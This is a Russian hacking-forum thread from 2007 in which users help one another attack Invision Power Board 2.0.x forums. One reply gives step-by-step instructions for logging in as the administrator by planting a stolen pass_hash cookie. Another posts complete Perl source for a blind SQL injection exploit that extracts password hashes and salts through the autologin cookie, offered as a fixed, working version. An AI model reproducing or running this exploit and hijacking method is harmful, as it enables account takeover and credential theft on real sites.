Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Форумы (https://forum.antichat.xyz/forumdisplay.php?f=16)
-   -   Вопрос по сплойту r57ipb2 (https://forum.antichat.xyz/showthread.php?t=32943)

faf 07.02.2007 23:21

Вопрос по сплойту r57ipb2
 
На сколько я знаю со 2 линейки ипб пароль в виде хэша идет с солью... Юзая сплойт r57ipb2 к ипб 2.0.3, я получил следующее:
MEMBER ID : 1 admin
MEMBER_LOGIN_KEY : c806156cb085a1495ad8706d2f9dc450

Почему хэш без соли? И если его расшифровать, то полученный пасс точно подойдет или только с % тоностью?

kot777 07.02.2007 23:32

Опции в сплоите переключи на pass_hash и salt из таблицы ibf_members_converge...Пасс подойдет 100% если его не сменят конечно в процессе расшифровки твоей.

Fr-Ron 07.02.2007 23:35

Гык, под 20* сплойты не юзал, но могу предположить, что этот сплой забирает только куки. Читай внимательней описание =)
У тебя есть pass_hash. Он хранится в куках. А соль хранится в БД, поэтому достать ее можно инъекцией (или прямиком из админки =) ). Расшифровать без соли нельзя. а если она буде, то пасс либо вобще не рсшифруется (напимер qjbr37@иы!) или расшифрутеся со 100% точностью (qwerty, bobik, nmzt3 и тэ.дэ.).
С тес чтоо есть у тебя, ты можешь только залогинитьтся за админа, но в админку ты не попадешь, ибо там пароль спрашивают. Чтоб зайти за админа : 1) Логинишься за себя, ставишь галочку "Запомнить меня" 2) Открываешь редактоор куков, удаляешь сессию, ид = 1, хэш = c806156cb085a1495ad8706d2f9dc450, ну и т.д. Потом просто рефрешь и ты под админом

faf 07.02.2007 23:35

2kot777
Эмм... А можно поподробней, как переключить опции?

faf 07.02.2007 23:46

Еще юзал сплойт не знаю название, но вот копирайты начальные:
## Invision Power Board SQL injection exploit by Coyl. CiaNeeD team.
## for stealing converge_pass_salt value from ipb database
## on some ipb forums it steals the legacy_password which is the first md5
## hash of the target password.
## vulnerable forum versions : 2.* (<2.0.4)
## tested on version 2.0.2
## * work on mysql 4.0, 4.1 versions
## * work with magic_quotes On (use %2527 for bypass magic_quotes_gpc = On)
## coded by Coyl

Скачивал этот сплойт вместе с видео на этом сайте... Но у меня немного другая ситуация, этот сплойт мне выдал:
SIMPLE PASS HASH : 99549910054100561029750101535010099555457485649485 757519749100561025057
тоже не ясно что с этим делать...

maxster 08.02.2007 15:56

Код:

#!/usr/bin/perl

## Invision Power Board SQL injection exploit by Coyl. CiaNeeD team.
## for stealing converge_pass_salt value from ipb database
## on some ipb forums it steals the legacy_password which is the first md5
## hash of the target password.
## vulnerable forum versions : 2.* (<2.0.4)
## tested on version 2.0.2
## * work on mysql 4.0, 4.1 versions
## * work with magic_quotes On (use %2527 for bypass magic_quotes_gpc = On)
## coded by Coyl
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## screen:
## ~~~~~~~
## /ipb.pl 127.0.0.1 /fo/ 1
## [~] SERVER : 127.0.0.1
## [~] PATH : /fo/
## [~] MEMBER ID : 1
## [~] VALUE TO STEAL :
## [~] SEARCHING THE EASIEST WAY... [ FAILED ]
## [~] SEARCHING THE SALT [\5][ DONE ]
##
## SALT : UoU1o
##
## [~] SEARCHING THE PASS HASH [/32][ DONE ]
##
## PASS HASH : 1ab2bc1f32f231f234313444233d
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## Greets: 1dt.w0lf , RST/GHC , http://rst.void.ru , http://ghc.ru
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

use IO::Socket;

if (@ARGV < 3) { &usage; }

$enum=0;
$cookie = 1;
$server = $ARGV[0];
$path = $ARGV[1];
$member_id = $ARGV[2];
$prefix = ($ARGV[3])?($ARGV[3]):("ibf_");



$server =~ s!(http:\/\/)!!;

$request = 'http://';
$request .= $server;
$request .= $path;

$s_num = 1;
$|++;
$n = 0;

print "[~] SERVER : $server\r\n";
print "[~] PATH : $path\r\n";
print "[~] MEMBER ID : $member_id\r\n";
print "[~] VALUE TO STEAL : \r\n";
print "[~] SEARCHING THE EASIEST WAY... [|0]";

($cmember_id = $member_id) =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
$flag=0;
$field=1;
LOOP: while(1)
{
$pass = ($field)?('converge_pass_hash'):('converge_pass_salt');

if($field) { if(&found(96,123)==0) { &found(47,58)}}
if(!$field&&$flag) { &found(33,126) }

$char = $i;

if ($char=="0")
{
if(length($allchar) > 0){
print qq{[ DONE ]
};
if (!$flag) { print "\r\nSIMPLE PASS HASH : "; print $allchar."\r\n";}
else
{
print (($field)?("\r\n PASS HASH : "):("\r\n SALT : "));
print $allchar."\r\n\r\n";
$allchar='';
$enum=0;
$s_num=1;
$field++;
if (!($field==2)){print "[~] SEARCHING THE PASS HASH [|0]"; redo LOOP};
}
}
else
{
if (!$flag)
{
print "$back FAILED ]\r\n";
print "[~] SEARCHING THE SALT [|0]";
$flag=1;
$field=0;
redo LOOP;
}
if ($flag)
{
print "$back FAILED ]\r\n";
}
}
exit();
}
else
{ $allchar .= chr($char);
$enum++;
}
$s_num++;
}

sub found($$)
{
my $fmin = $_[0];
my $fmax = $_[1];
if (($fmax-$fmin)<5) { $i=&crack($fmin,$fmax); return $i; }

$r = int($fmax - ($fmax-$fmin)/2);
$check = " BETWEEN $r AND $fmax";
if ( &check($check) ) { &found($r,$fmax); }
else { &found($fmin,$r); }
}

sub crack($$)
{
my $cmin = $_[0];
my $cmax = $_[1];
$i = $cmin;
while ($i<$cmax)
{
$crcheck = "=$i";
if ( &check($crcheck) ) { return $i; }
$i++;
}
$i = 0;
return $i;
}

sub check($)
{
$n++;
status();
$ccheck = $_[0];
$non="1%2527+union+select+converge_id%2Cconverge_pass_salt%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0+from+".$prefix."members_converge+where+%28converge_id%3D";
$eas="1%2527+OR+%28id%3D";
$pass_hash1 = ($flag)?($non):($eas);
$pass_hash2 = "+AND+ascii%28substring%28";
$pass_hash3 = (($flag)?($pass):("legacy_password")).",".$s_num.",1))".$ccheck.") /*";
$pass_hash3 =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80");

printf $socket ("GET %sindex.php?act=Login&CODE=autologin HTTP/1.0\nHost: %s\nAccept: */*\nCookie: member_id=%s; pass_hash=%s%s%s%s\nConnection: close\n\n",
$path,$server,$cmember_id,$pass_hash1,$cmember_id,$pass_hash2,$pass_hash3);

while(<$socket>)
{
if (/Set-Cookie: session_id=0;/) {
return 1; }
}


return 0;
}

sub status()
{
$status = $n % 5;
if ($enum<10) {$back="\b\b\b";}
else {$back="\b\b\b\b"};
if($status==0){ print "$back\\$enum]"; }
if($status==1){ print "$back-$enum]"; }
if($status==2){ print "$back/$enum]"; }
if($status==3){ print "$back|$enum]"; }
}

sub usage()
{
print q(
Invision Power Board v 2.0.0 - 2.0.4 SQL injection exploit modified
--------------------------------------------------------------------
USAGE:
~~~~~~
r57ipb2.pl [server] [/folder/] [member_id] [prefix-optinal]

[server] - host where IPB installed
[/folder/] - folder where IPB installed
[member_id]- user id for brute
[prefix] - database prefix \(ibf_ by default\)

e.g. ipb.pl 127.0.0.1 / 1 ipb_
--------------------------------------------------------------------
coded by Coyl. CiaNeeD team.
--------------------------------------------------------------------
greets to 1dt.w0lf RST/GHC , http://rst.void.ru , http://ghc.ru
--------------------------------------------------------------------
);
exit();
}

Сплойт который ты юзал нужно подредактировать и тогда он будет работать!
Этот же сплойт только подправленный, ищет либо легаси пас (MD5) или пасс и соль!


Время: 17:09